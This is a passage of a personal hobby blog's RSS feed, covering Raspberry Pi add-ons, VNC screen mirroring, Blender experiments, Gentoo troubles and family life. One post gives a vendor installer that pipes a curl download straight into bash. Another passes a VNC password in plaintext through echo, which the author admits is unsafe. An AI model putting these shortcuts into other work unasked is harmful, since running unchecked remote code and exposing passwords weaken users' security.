One; the failure rate had been quite small (lucky me!) and two; there would be confusion between the Hat and full sized SkyWriters not to mention that the user should never have to flash their SkyWriter. Which all sounds quite reasonable.
</description>
</item>
<item>
<title>what 3D skywriter theremin puredata?</title>
<pubDate>Sat, 30 Jan 2016 19:30:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2016.html#p300120161930</link>
<description>
I my last <a href="http://www.jumpstation.co.uk/flog/Jan2016.html#p280120162228">post</a> about the <a href="https://shop.pimoroni.com/products/skywriter-hat">SkyWriter Hat</a> from <a href="https://shop.pimoroni.com/">Pimoroni</a> we had a little problem following the instructions

<code>theremin.pd

Show off your musical prowess and melodic genius with this groundbreaking 3D theremin.

Designed to be run within X, startx first.

To run, you'll need to install PD:

sudo apt-get install pd

Run as follows:

pd theremin.pd</code>

but it turns out this is just a PureData file so you can run a setup like the "synth.py", which does act as a theremin. In fact the "synth.py" file contains an import for "pdtone.py" which in turn has teh same data for PureData in it.

But I really like the idea of a 3D Theremin on the Pi controlled by the SkyWriter Hat.

Step 1: Get Pygame showing something(blank screen)
Step 2: Get Pygame with its blank screen running the Theremin code
Step 3: Get data from the SkyWriter Hat on the Pygame screen
Step 4: Display the real time 3D position in Pygame
Step 5: Add some GUI stuff about volume and pitch
Step 6: Submit a pull request to Pimoroni for inclusion in there GitHut repo


</description>
</item>
<item>
<title>skywriter pi magic</title>
<pubDate>Thu, 28 Jan 2016 22:28:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2016.html#p280120162228</link>
<description>
The <a href="https://shop.pimoroni.com/products/skywriter-hat">SkyWriter Hat</a> from <a href="https://shop.pimoroni.com/">Pimoroni</a> is small near-field plate that can detect capacitive objects like your hand/finger in 3D space. It has built in the ability to detect gestures like touch, flick and "air wheels".

As it is a Hat and comes pre-assembled all you have to do is connect it and fits perfectly on a Raspberry Pi 2 and download the code.
 https://github.com/pimoroni/skywriter-hat

<code>curl -sSL get.pimoroni.com/skywriter | bash

./test.py</code>
(you do not need sudo in front of the applications any more!)

Then I found I had bad firmware, but the team at <a href="http://forums.pimoroni.com/c/support">Pimoroni forums</a> sorted me out. Will blog about it another day.

Generates nothing until you put your hand over the Hat 
<code class="output">(0.1373443603515625, 0.4677734375, 0.583984375)
(0.1373443603515625, 0.469085693359375, 0.584747314453125)
(0.1373443603515625, 0.4705810546875, 0.585723876953125)
(0.1373443603515625, 0.472259521484375, 0.5869903564453125)
(0.1373443603515625, 0.4741668701171875, 0.588623046875)
(0.1373443603515625, 0.4763336181640625, 0.5908355712890625)
('Airwheel:', 58.1)
(0.0, 0.9999847412109375, 0.0)
(0.005462646484375, 0.9999847412109375, 0.0)
('Airwheel:', 58.2125)
(0.03070068359375, 0.9999847412109375, 0.0)
(0.072998046875, 0.9999847412109375, 0.0)
(0.1355743408203125, 0.9999847412109375, 0.0)
(0.2272796630859375, 0.9999847412109375, 0.0)
('Touch!', 'north')
(0.359344482421875, 0.9999847412109375, 0.0)
(0.5264434814453125, 0.9999847412109375, 0.0)
('Tap!', 'north')
(0.0, 0.9999847412109375, 0.334686279296875)
(0.0, 0.9999847412109375, 0.3322906494140625)
('Got a flick!', 'north', 'south')
^CTraceback (most recent call last):
  File "./test.py", line 37, in <module>
    signal.pause()
KeyboardInterrupt
</code>
The numbers stream up the screen at high speed and CTRL+C exits the program.
I have edited the massive output to highlight instances of "presses", "flicks" and "airwheels"(rotating your finger as if stirring the SkyWriter Hat, but not touching it).

I found it odd that things other that my hand/finger affected the values. could this be a short range but highly sensitivity range detector? This will need some further investigation.

Also in the examples folder are code for keyboard, mouse and mouse driver but I am not really that interested, but the "synth.py" and "thermin.pd" that sounds(pun intended) interesting.

"synth.py" takes a while to get going
<code>./synth.py</code> 
<code class="output">Populating temp PD file: /tmp/tmp_YpD0g
Started PD with PID: 12837
 File: /tmp/tmp_YpD0g
Attempting to connect to PD
Connected to PD</code>

Before it starts capturing input. The left-right is the volume, loudest on the right. The pitch is distance from the sensor and give a sort of thermin experience. CTRL+C again to exit.

The 3D graphical thermin did not work for me
<code>pd ./theremin.pd </code>
<code class="output">sh: 1: wish: not found
watchdog: signaling pd...
watchdog: signaling pd...
watchdog: signaling pd...
watchdog: signaling pd...
watchdog: signaling pd...
watchdog: signaling pd...
watchdog: signaling pd...</code>

Running with sudo did not help :( 

Something to look at another day. But at least it gave me an excuse to try the keyboard and mouse programs.

The "keyboard.py" just sends the cursor keys and enter. So by starting the app and the using my real mouse to select the menu I could move up and down and on to sub-menus and even execute programs by floating over the SkyWriter!
"mouse.py" is how you would expect, where you move on the Hat the mouse moves but of course the Hat is very small so any movements are greatly exaggerated. Fun demo.

</description>
</item>
<item>
<title>ssh Y not X Pi winner</title>
<pubDate>Wed, 27 Jan 2016 22:16:07 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2016.html#p270120162216</link>
<description>
I like to use my linux machine running X with the Pi not running X but having GUI apps available with no connected display(i.e. Headless)

<code>ssh -X user@ipa.ddr.ess.pi</code>
Sometimes works for remotely running Pi hosted GUI apps on my (non-Pi)machine.
the fix was to use -Y
<code>ssh -Y user@ipa.ddr.ess.pi</code>

oh, and you do not need to export the DISPLAY variable, in fact that is a bad thing when trying to run X apps remotely on the your machine not the Pi.
On the other hand if you want to run GUI apps on a remote Pi on its connected display then 
<code>export DISPLAY=:0.0</code>
is very required.
</description>
</item>
<item>
<title>devops manager is power mad</title>
<pubDate>Fri, 15 Jan 2016 20:09:57 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2016.html#p150120162009</link>
<description>
One thing I did not get around to blogging about <a href="http://www.jumpstation.co.uk/flog/archive.html">last year</a> was my change of job.

Prior to the change I was a Senior .NET developer. Now I am DevOps Manager!

I have my old colleagues asking me what its like in my new role and I just explain it is exactly the same as before except I have more power!

When I was Senior Dev I tried to make thing better, post build scripts, continuous integration, build quality etc as well as the day to day coding.

My new position gives me the reach and power to do that and much more, including the odd bit of .NET coding, though it is mainly Powershell now.

My teams motto is simply "automate everything" and I love it!
</description>
</item>
<item>
<title>2015 year review is a pat on the back</title>
<pubDate>Thu, 14 Jan 2016 21:55:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2016.html#p140120162155</link>
<description>
I always think that I do *nothing* then I do my <a href="http://www.jumpstation.co.uk/flog/year2015.html">end of year review</a> and find I have done quite a bit.

61 posts of which 25 were Raspberry Pi related. Some of the posts were HUGE, need to make that a new years resolution, smaller posts.

Since introducing a spell checker into the flog process I was surprised to find so many mistakes. Most commonly "were" where "where" should have been.

What a wide list of subjects

<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=raspberrypi">Raspberry Pi</a>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=kids">Kids</a>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=kindle">Kindle</a>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=calendar">Google Calender</a>
<a href="http://www.jumpstation.co.uk/flog/Jun2015.html#p280620152140">Pebble watch</a>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=nodejs">NodeJS</a>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=blenderer">Blender</a>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=gentoo">Gentoo</a>
<a href="http://www.jumpstation.co.uk/flog/Feb2015.html#p180220152233">Hacking</a>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=camera">PIR camera rig</a>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=joggler">Joggler</a>
<a href="http://www.jumpstation.co.uk/flog/Oct2015.html#p211020152136">Minecraft party</a>

The list just goes on and on!
</description>
</item>
<item>
<title>note to self review 2015</title>
<pubDate>Sat, 02 Jan 2016 23:15:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2016.html#p020120162315</link>
<description>
Next job is to do the 2015 year review.

At least <a href="http://www.jumpstation.co.uk/flog/year2014.html">2014</a> was done last year.
</description>
</item>
<item>
<title>Raspberry Pi gets a cheap LCD face</title>
<pubDate>Sat, 02 Jan 2016 23:01:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2016.html#p020120162301</link>
<description>
got another Pi for Xmas. A new Raspberry Pi 2 model B, which is the most powerful Pi to date.

One of the things I bought last year was an LCD 16x2 screen that I never got around to hooking up.

It would seem that not all LCD 16x2 screens are exactly alike but are so mostly alike that anyone of the many many tutorials are viable. Saying that I did look for sometime before I found the excellent video embedded below from rdagger68

<iframe width="560" height="315" src="https://www.youtube.com/embed/cVdSc8VYVBM" frameborder="0" allowfullscreen></iframe>
http://www.rototron.info/lcd-display-tutorial-for-raspberry-pi/

What really makes it for me in this video is that graphics showing which pin goes where and the fact it is all done Live. Which in turn gave me the convenience to try it with the Pi on and running. That and it was only 6 GPIO pins!

The only things I did differently from the video regarding wiring was adding a 10k&#937; pot(variable resistor) and using a different Ground/GND pin.

<img src="images/lcdraspberrypi.jpg" alt="16x2 LCD attached to bread board attached to Raspberry Pi 2 Model B" >

The 10k&#937; pot is limit the LCD back light. The hardware in the video has an inbuilt resistor but all the other tutorials I could find said use the pot and tweak it to set the brightness.

Once I had soldered the header pins on and the wired it to the Pi and the LCD was displaying a line of filled squares the software was a little more time consuming.

First the file from <a href="http://www.raspberrypi-spy.co.uk/2012/07/16x2-lcd-module-control-using-python/">Raspberry Pi Spy</a> had changed.

The pin changes in the video were still valid, excluding the last one that was noted to not being used.
<code>
# Define GPIO to LCD mapping
LCD_RS = 26
LCD_E  = 19
LCD_D4 = 13
LCD_D5 = 6
LCD_D6 = 5
LCD_D7 = 11
</code>

The lcd_init() code was updated as in the video but the test code(when run from the same folder as the py module) ended up being
<code>sudo python
import os
import lcd_16x2
lcd_16x2.lcd_init()
lcd_16x2.main()
</code>
Which successful ran the demo.

But I wanted more and the the video references to how the code worked had problems. Not serious problems just anyone, the author had obviously updated his code.

The commands to set the LCD line are not required when using the lcd_string method and the second parameter in the video is now the line(address) not the justification.

I decided that was not very useful and added the code back in.

<code>
def lcd_string(message, line, justified = 0) :
  # Send string to display
  if justified == 0 :
    message = message.ljust(LCD_WIDTH," ")
  elif justified == 1 :
    message = message.center(LCD_WIDTH," ")
  else :
    message = message.rjust(LCD_WIDTH," ")

  if line == 1 :
    line = LCD_LINE_1
  else :
    line = LCD_LINE_2

  lcd_byte(line, LCD_CMD)

  for i in range(LCD_WIDTH):
    lcd_byte(ord(message[i]),LCD_CHR)
</code>

Now I can pass the line as 1 or 2 and the justification as 0 for left justified, 1 for entered and 2 for right justified, or default to left aligned.
e.g.
<code>
import os
import lcd_16x2
lcd_16x2.lcd_init()
lcd_16x2.lcd_string("LeftAlign Ln1",1,0)
lcd_16x2.lcd_string("RightAlign Ln2",2,2)
lcd_16x2.lcd_string("Center Ln1",1,1)
</code>

I did not try the AdaFruit libraries and numerous posts had mentioned problems with it and I did not need any of its extra abilities.

There is the possibility of using custom and extended characters on the LCD
http://symlink.dk/electro/hd44780/

And rdagger68/rototron did a follow up using I2c to control the same LCD with just 3 GPIO pins(and 2 are for GND and 5v)!
</description>
</item>
<item>
<title>Camera tracking and pathing in Blender explained</title>
<pubDate>Tue, 22 Dec 2015 21:19:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2015.html#p221220152119</link>
<description>
Back to our regular programming.

I had fun setting a path for the camera to follow in this <a href="http://www.jumpstation.co.uk/flog/Dec2015.html#p221220152106">animation</a>. But I was annoyed that the camera tracked the centre of the block instead of focusing on each end.

To fix that I created and Empty and set a tracking constraint on it. The Empty does not render so I created a UV Sphere withe Wire-Frame modifier to as a stand in. I can set the Empty to then animate anywhere I want the camera to look.

The camera path is just a bezier circle to be the camera track and set it as the camera's parent. This does not render with no depth so I extruded it and created a tapered cube to show where the camera was.

Note the camera stops moving on the track at 100 frames. This is the default frame end in the constraint and can be altered as needed.

<iframe width="560" height="315" src="https://www.youtube.com/embed/bRmcsj6BWhc" frameborder="0" allowfullscreen></iframe>
</description>
</item>
<item>
<title>Soccer physics review done by two hyper kids</title>
<pubDate>Tue, 22 Dec 2015 21:10:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2015.html#p221220152110</link>
<description>
And now for something completely different! My kids trying to do a review of a Kindle app Soccer Physics.
<iframe width="560" height="315" src="https://www.youtube.com/embed/a6JGxLVTbY4" frameborder="0" allowfullscreen></iframe>
</description>
</item>
<item>
<title>Artistic play in blender for waves</title>
<pubDate>Tue, 22 Dec 2015 21:06:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2015.html#p221220152106</link>
<description>
This was a while ago but I only just uploaded it.

I was waiting at a swimming pool and found myself staring at the waves and how they distorted the black lines on the bottom of the pool.

Wondering how quickly I could create (non-animated) that in blender. No idea how long it took, not long, but was lots of fun. 

The main node texture for the block is a chain of "Noise"(color)-&gt;(color)"Bright/Contrast"(color)-&gt;(height)"Bump"(normal)-&gt;(color+normal)"Glass BSDF"(BSDF)-&gt;"Material output" 

There will be a follow up post about the camera following a path.
<iframe width="560" height="315" src="https://www.youtube.com/embed/HGyEcnb8o3g" frameborder="0" allowfullscreen></iframe>
</description>
</item>
<item>
<title>Sarahs leg takes a break</title>
<pubDate>Sun, 13 Dec 2015 18:26:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2015.html#p131220151826</link>
<description>
The following is very simplified version of why I have not blogged recently, it is for me, not you, enjoy!

Well Sarah fell down the stairs and ended up with a fracture, a break and a dislocation. to fix it she had surgery that included two screws a plate and 25 staples.

It was on Thursday the 12th November 2015. I had picked up the boys from their schools, we were outside and it was cold. I could not open or unlock the back door, Sarah had left her key in the door after locking it (again). I rang her mobile and it was engaged. Great, she was upstairs working and we were outside freezing. I called the land line and after a few moments hung up and tried again and again. Normally we just pound on the door and shout through the cat flap. 

Just as we opened the cat flap, we heard a commotion. A shout, a cry and then odd laughing. It quickly becomes apparent that the laughing was cries of pain. As I try to talk to her, I realise she really can not move and I suggest breaking the front door. She tells me not to between sobs but there is no alternative.

I unlock the front door and then break the sliding bolt to find her sprawled at the bottom of the stairs still crying in pain.

Ring 999 and ask for ambulance.

Ten mins later no sign of anyone, Sarah is still making a lot of noise and the kids are now very upset. I take them next door and ask the neighbours to look after them.

Its 20 minutes since the 999 call, Sarah is demanding I call again. Reluctantly I do so and they go through all the same questions and can not tell when the ambulance will get there.

I am hoping about in and out of the house in hope of hearing a siren, they keep coming in the distance but never seem to get any closer.

30 minutes from first 999 call and a siren is getting louder but it still takes ages before we see the blue lights reflecting off distant houses.

I run out to flag them down.

30 minutes with the ambulance crew and they have to call for a doctor to give a specific injection.

Another 30 minutes and the doctor has arrived given the injection and they are trying to get her moved. She breaks the inflatable lift that the crew said could not be broken.

Slowly we get in to the ambulance and we all go to the hospital arriving just over an 1 hour and half from the original call.

Time seems to slow down and the following happens between the 20:00 arrival and 00:00 when I leave her in the ward.

moved into "Owl and the pussy cat" room, paediatrics/orthopedics (kids/broken bones)

x-ray shows fracture, break and dislocation.

E.R. staff manually traction foot and the set it in a cast. Get plaster all over my coat.

Fun with gas&amp;air and the bed pan.

Told to expect surgery in next few days.

Surgery completed and home after five nights, one metal plate, two screws and 25 staples.

Orthopedics/out patients never got a referral from the ward so waited patiently for staples to be taken out and cast to be redone... Had to ring, only to find all junior Dr.s on strike.

The next few weeks a complete blur with parents and parents-in-law helping out, working from home and Sarah living downstairs.

Now she can get upstairs but it takes a while. 

Cast due to be taken off and physio to start 29th December.
</description>
</item>
<item>
<title>so I managed to uninstall gcc</title>
<pubDate>Sun, 22 Nov 2015 11:57:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2015.html#p221120151157</link>
<description>
I while back I managed to <a href="http://www.jumpstation.co.uk/flog/Jul2008.html#250720082108"> uninstall python</a> which is critical for building packages on Gentoo.

You know whats even more important than Python? GCC the compiler, but none the less I managed to uninstall it.

To be fair the <code>emerge -a --depclean</code> did say it was going to remove one version of gcc and preserve the other.

But without gcc I could not build anything, even gcc.
<code>emerge -avDNut world
revdep-rebuild
emerge gcc
</code>
all failed
and <code>gcc-config -l</code>
said the profile was invalid.

But I did find other people who had managed this terrible feat and all that is needed is a quick<code>gcc-config 1</code>

and when I say quick I mean slow because it rebuilds and rebuilds and rebuilds.
note: that's a "1"(one) not an "l"(lowercase L)

But its fixed now!
</description>
</item>
<item>
<title>Completly unsafe ssvnc password hack</title>
<pubDate>Wed, 11 Nov 2015 22:07:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2015.html#p111120152207</link>
<description>
A quick follow-up to the <a href="http://www.jumpstation.co.uk/flog/Nov2015.html#p111120152202">VNC Windows screen mirrored on Raspberry Pi</a> post. 

I needed the ssvncviewer to start automatically on boot and that meant either disabling the VNC server password or passing the password into ssvncviewer.

The documentation says to use vncpasswd to generate a password file but I could not get vncpasswd installed. There is a nice completely unsafe hack.
<code>echo passwordstaplebattery | ssvncviewer -autopass -fullscreen -scale 0.6 192.168.50.1</code>
That's right, pipe it in from an echo.

Apparently the whole point of ssvnc is to allow SSL/SSH connections, but I am lazy and the client is happy that all connections are inside a private network.

And I know there are too many icons on that Windows desktop. It's Windows, what did you expect?
</description>
</item>
<item>
<title>VNC scaling windows on Pi madness</title>
<pubDate>Wed, 11 Nov 2015 22:02:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2015.html#p111120152202</link>
<description>
OK so in the <a href="http://www.jumpstation.co.uk/flog/Nov2015.html#p111120152153">last post</a> we got the new <a href="https://www.raspberrypi.org/blog/the-eagerly-awaited-raspberry-pi-display/">Raspberry Pi 7&quot; Touch screen</a> working in Raspbian Jessie.

I installed <a href="http://www.tightvnc.com">TightVNC server</a> on the Windows machine and installed the tight vnc viewer client on the Pi
<code>sudo apt-get install xtightvncviewer</code>
ran it with the IP address of the Windows machine
<code>xtightvncviewer -fullscreen 192.168.50.1</code>
and it works!! cool!
(if you are executing GUI apps via ssh then you need to set DISPLAY first)
<code>export DISPLAY=:0.0</code>

Hang on, its only showing the top left 800x600 pixels of the Windows machine, where is the scaling options? Sadly there aren't any! New plan, Google shows <a href="http://www.uvnc.com">UltraVNC</a> supports scaling. Install ... nope no scaling options, do I have to move from VNC to RDP? Not yet!

TightVNC has been forked into <a href="http://www.karlrunge.com/x11vnc/ssvnc.html">ssvnc</a> and that supports scaling.
Is it on Raspbian Jessie? Lets check
<code>apt-cache search vnc</code>
it is!
<code>sudo apt-get install ssvnc</code>
The ssvncviewer man page and help screen both say you can "auto" scale and "fit" to screen but each time I tried I got scaling not supported. Manually setting the scaling worked though.
<code>ssvncviewer -fullscreen -scale 0.5 192.168.50.1</code>
Scaled but too much, image of the Windows machine is too small
<code>ssvncviewer -fullscreen -scale 0.75 192.168.50.1</code>
Now we are missing the bottom of the Windows screen
<code>ssvncviewer -fullscreen -scale 0.65 192.168.50.1</code>
um, nothing displayed
<code>ssvncviewer -fullscreen -scale 0.6 192.168.50.1</code>
Ah, perfect
<img src="images/vnconpi.jpg" alt="Pi touch screen using ssvnc to show Windows desktop scaled" >

Job done!
</description>
</item>
<item>
<title>Raspberry Pi touch screen and stand setup</title>
<pubDate>Wed, 11 Nov 2015 21:53:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2015.html#p111120152153</link>
<description>
Somebody wanted to mirror their Windows desktop in a read-only manor as simple calendar display for another room. They wanted to buy a cheap PC and monitor but I steered them to a <href="https://www.raspberrypi.org/blog/the-eagerly-awaited-raspberry-pi-display/">Raspberry Pi 7&quot; Touch screen</a>. They ordered the bits, including power, WiFi and case/stand. I then put it together.

The main screen instructions and information are <href="https://www.raspberrypi.org/blog/the-eagerly-awaited-raspberry-pi-display/">here</a> and the stand was from <a href="http://www.modmypi.com/shop">ModMyPi</a> with details on their <a href="http://www.modmypi.com/blog/raspberry-pi-7-touch-sreen-display-case-assembly-instructions">blog</a>. The build was a little nerve racking, what with all the bare circuit boards, wires and ribbon cables. Apart from one step implying the ribbon cable should be in further than it can go, it was straight forward. I went with the GPIO pins powering the screen instead of another external power supply.
<img src="images/modymypiscreenmountside.jpg" alt="side view of the modmypi stand" >

<img src="images/modymypiscreenmountback.jpg" alt="side view of the ModMyPi stand" >

First shock was the display not even powering up, but this was resolved with a quick
<code>sudo apt-get update
sudo apt-get upgrade
sudo shutdown -r now</code>
FYI this was running on a Raspberry Pi 2 B with Raspbian Jessie.

The display is crisp, clear and vibrant if a little on the small side. As with any small touch screen the control is quite hit and miss with my giant fingers, but that was never the intention.

The <a href="http://www.modmypi.com/shop">ModMyPi</a> display case was easy to put together and I loved that it came with so many extra bits including a completely clear front option vs the black acrylic. You can hang it on the wall or use the desk stand. The one thing letting it down is the silver screws showing on the front. A minor cosmetic issue and something I hope they can resolve in the future.

Although I had no intention of using the USB ports I found I had to swap the Wifi dongle(had to borrow one before the official one came into stock) and a USB keyboard and mouse. This presented quite a challenge as the case makes the available finger space very tight and when I added the micro SD card it took multiple tries. Once everything is setup that should not be an issue.

One more step before we go any further. Make sure you run 
<code>sudo raspi-config</code>
and in the Advanced section Disable Overscan or you will have 0.6cm black borders.

In the next post I will install VNC servers and clients
</description>
</item>
<item>
<title>pizza box monster face windows</title>
<pubDate>Wed, 11 Nov 2015 21:43:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2015.html#p111120152143</link>
<description>
Halloween! AGHHHhhh completely forgot! erm what to do? No pumpkins, nothing but the pizza boxes from the previous night.

Snip snip snip, cut cut cut. Instant monster house!
<img src="images/halloween2015.jpg" alt="pizza box based silhouettes make monster face in window at night with back lighting" >
</description>
</item>
<item>
<title>blender monkey lattice 4x movie time</title>
<pubDate>Sun, 01 Nov 2015 22:10:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2015.html#p011120152210</link>
<description>
I saw <a href="http://visualqstudios.com/2015/10/22/lattice-modeling-in-blender/">a great straight forward Blender Lattice tutorial<a/> over on the awesome <a href="http://www.blendernation.com/2015/10/27/tutorial-lattice-modeling-blender/">Blender Nation</a> and knew I would have to try it out.

3D lattices allow you to warp the space around and affect a set of vertices. The easiest way of visualising the result is a Lattice in the shape or an hour glass on its side. As the vertices approach they are concentrated more and more at the "waist" of the hour glass and then expanded as the leave the other end.

So for the following animation I simply created a Monkey and cuboid lattice. Applied the lattice to the Monkey and shrunk and twisted the top of the lattice. Then it was just a simple matter of moving head to below the lattice and adding a key frame at position 0 and then moving above it and setting a key frame at 250, Blender does the rest.

I wanted to visualise the lattice transform but lattices are invisible so I added a cube. Subdivided it and twisted and shrunk its top to match. Then I added a Wire frame modifier and you can see the edges. It is not perfect, the real lattice has internal vertices and the cube only shows the outer ones on the "skin". Finally I rendered four movies from different view points, added four planes and set the texture to be the animations. Probably the least efficient way of doing it but it works.

<iframe width="560" height="315" src="https://www.youtube.com/embed/fmh7ZGkPvS4" frameborder="0" allowfullscreen></iframe>
 https://youtu.be/fmh7ZGkPvS4 (rendered in Cycles and the video has no audio)

To get the sped up video I ran
<code>ffmpeg -i monkey_normal_speed.mpg -vf setpts=0.5*PTS /tmp/monkey_double_speed.mpg</code>
and to make YouTube like the fact I had literally "catted" the two movies together I ran
<code>ffmpeg -i /mnt/sdb4/videos/blender_monkey_lattice.mpg -c:v libx264 -preset slow -crf 18 -c:a copy -pix_fmt yuv420p blender_monkey_lattice.mkv</code>
</description>
</item>
<item>
<title>radnom 2014 eclipse on gentoo blog</title>
<pubDate>Fri, 23 Oct 2015 20:57:07 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2015.html#p231020152057</link>
<description>
And now a feature I am calling "Random blog post I forgot to post". This one is from 2014 when I was interested in creating an Android app and I guess I was expecting to expand on it before posting. It got canned, but for posterity here it is.

After following this <a href="https://sites.google.com/site/uvlight/androiddevelopment">guide</a> I failed to get Eclipse to install the Android tools, appears the version available in the bog-standard Gentoo is 5 years old. But I did manage to install the Android SDK. 

There are some alternatives in the Gentoo community but none seemed ideal, so I downloaded the latest version of Eclipse

and as it is Java it just runs, then the Android tool kit "just" installed and then the Android SDK seemed to install again.

Then when it came time to run the emulator (from Eclipse) the CPU/ABI was missing so I could not create and image. This was a minor issue and easily rectified with another visit to the SDK manager which showed everything ticked except the CPU/ABI.
</description>
</item>
<item>
<title>Fun and educational map projection game</title>
<pubDate>Fri, 23 Oct 2015 18:31:12 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2015.html#p231020151831</link>
<description>
Cannot remember where I found this https://gmaps-samples.googlecode.com/svn/trunk/poly/puzzledrag.html
but it is a Google maps JavaScript presentation where all you have to do is match the country shapes to the real countries. But there's a catch the country shapes change size based on the map projection, so things shrink around the equator and grow huge at the poles.

Fun and educational. 
</description>
</item>
<item>
<title>minecraft party highs and lows</title>
<pubDate>Wed, 21 Oct 2015 21:36:56 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2015.html#p211020152136</link>
<description>
We had a Minecraft party for one of the kids and although I stole a lot of ideas from the internet a couple of original games and activities made it ours.
For instance from here http://www.buzzfeed.com/morganshanahan/birthday-party-ideas-that-will-blow-your-minecraft we took No. 6 Minecraft your windows and No. 16 Water blocks, neither of which worked out ;)
Also No. 18 Edible gems that was expensive for what it was but of course the kids loved the novelty, they tasted of nothing and had a funny rubbery texture, I really expected boiled sweets not jellies.
We did No. 26 Minecraft faces but with cut up paper not post-it notes and I wanted to do No. 27 Pin the tail on the [insert Minecraft creature], they suggest Pig we wanted Ender Dragon, but ran out of time.
We did like the food ideas from here http://parties4ever.blogspot.co.uk/2013/03/minecraft-party.html like Cheese Lava
From here https://ichooseawesome.wordpress.com/2012/12/03/epic-minecraft-party/
I definitely took the Minecraft YouTube video idea which was a major hit! They also had the windows, food, Water and pixel masks.
I loved the Creeper cups from here http://abritofhappiness.blogspot.co.uk/2013/02/a-fun-minecraft-party.html but the electrical tape or the cups made keeping them stuck on difficult. We also wanted to do the crispy coal but again ran out of time. With all the Creeper madness that is what we ended up doing as the cake design.
From there we got the "Potion of Healing" and TNT Diet Coke and Mentos. More on them below.

So what worked and what did not?
Well, we left this all the last minute and I was up to Early O'clock cutting/sticking and other preparation. So number one thing, get everything ready well in advance!
Minecraft music videos were a HUGE hit and a great help. There are hundreds of Minecraft music videos on YouTube and I downloaded about 25 of them. After reading in a blog that the language can be questionable I pre-screened all the videos and edited out the odd naughty bits. Then it was just a matter of showing them on the telly. I thought this would be so easy that I left it until the day of the party and then found all sorts of problems.
I had a Raspberry Pi and I expected to install <a href="http://forum.kodi.tv/showthread.php?tid=240545">Kodi</a>(which is the new name for RASPMC) and then stream on to our Humax box. I had done it in the distant past and it had worked well. But, the Raspbian OS currently does/did not have Kodi so I just installed VLC. But the video quality was terrible, even though this was a Raspberry Pi 2 B with four processors and 1GB ram. I thought about buying a codec pack but then I remembered the <a href="http://elinux.org/Omxplayer">Omxplayer</a> can run the full screen MP4s. Worked perfectly and I was able to run all the videos in a loop.

The pixel masks were hard work for me. I got a couple of big foam backing boards from Hobbycraft and a load of coloured paper and then spent some hours measuring and cutting to make sure everyone would be able to make an 8x8 mask. I was quite surprised how much the collection of 8-9 year old boys liked this activity with only one choosing not to take part and that may have been just because the room was so crowded. The kids loved being able to take them home at the end of the party.

The kids went absolutely nuts over the very simple water bottles that we had wrapped "Healing potion" labels around. Not one child complained that only water was on offer and many came back for multiple bottles during the day.

I had bought these two Minecraft paper kits to simply decorate the rooms, but there were so many bits to make we did not even open the big one until the party. Then the kids had lots of fun making blocks and items. This gave us something to shoot at with Nerf guns(had no Nerf bows). At the end the kids were able to take the blocks home. Strangely some kids found the waiting in line to shoot the guns to much and went off to make more blocks.

One of my original ideas that worked really well was Mine-Block-Race. Simple printed out six Minecraft block patterns with the names and thumb tacked them to six parts of the fence around the garden. Then with everybody in the middle rolled one of the Minecraft paper blocks that had written the name of the element, Gold, Iron, Stone, Creeper et. Everyone ran to that poster and last one was eliminated. This got more involvement than any other activity and although we had only planned on one game the kids organised it to have extras, even though there was only ever one prize.

I have always wanted to try the Mentos and Diet Coke fountains and one of these party blogs mentioned marking the bottles as TNT. We used 500ml Diet Pepsi bottles with 3 mentos per child, this made a rather unimpressive 10-15cm burst and I thought the experiment was a bust. But, the kids loved it! FYI by hand we could not get more than three sweets into a bottle before it detonated.

Before we got to the food Sarah had suggested we get a movie to let the kids calm down and as the party was for four hours I had gone and bought the latest kids DVD Shawn the sheep. This film is quite slow and before 30mins half the kids had started an impromptu football match and I do not think anyone survived to the end.

Then the food. I had printed out lots of labels like "Sticks", "Lava" etc. that were in fact Twiglets and cheese cubes. To be honest I am not sure the kids noticed the labels were quite small. I really liked the idea of "Water cubes" made from blue jelly but 1) I added blue food dye to lemon jelly that made it a bit green and 2) we had no square bowls and 3) I forgot they were in the fridge :(
Finally the cake was just a sponge square with green pre-made icing and some black squares to make a Creeper face.

All in all everyone was very happy, Sarah and I were completely knackered and all the kids not only got a party bag but a Minecraft pixel mask and a few paper cubes.
So were are all the pictures? we were just to busy to take any!

Some printing and consolidation resources
http://www.thepartyanimal-blog.org/free-printable-minecraft-party-banner/
http://coolmompicks.com/blog/2014/03/25/minecraft-birthday-party-ideas/
http://burntapple.com/2013/08/13/minecraft-birthday-party-ideas/
http://catchmyparty.com/blog/free-minecraft-party-printables-from-printabelle
http://blog.catchmyparty.com/wp-content/uploads/2013/11/minecraftwaterbottlelabels.png
http://blog.catchmyparty.com/wp-content/uploads/2013/11/minecraftfoodcards.png
FYI I had all the above links open in my browser for the week after the party in the vague hope I would write this blog post, and at least one of them used up serious amounts of CPU and memory. You have been warned!
</description>
</item>
<item>
<title>pi geckoboard auto start success story</title>
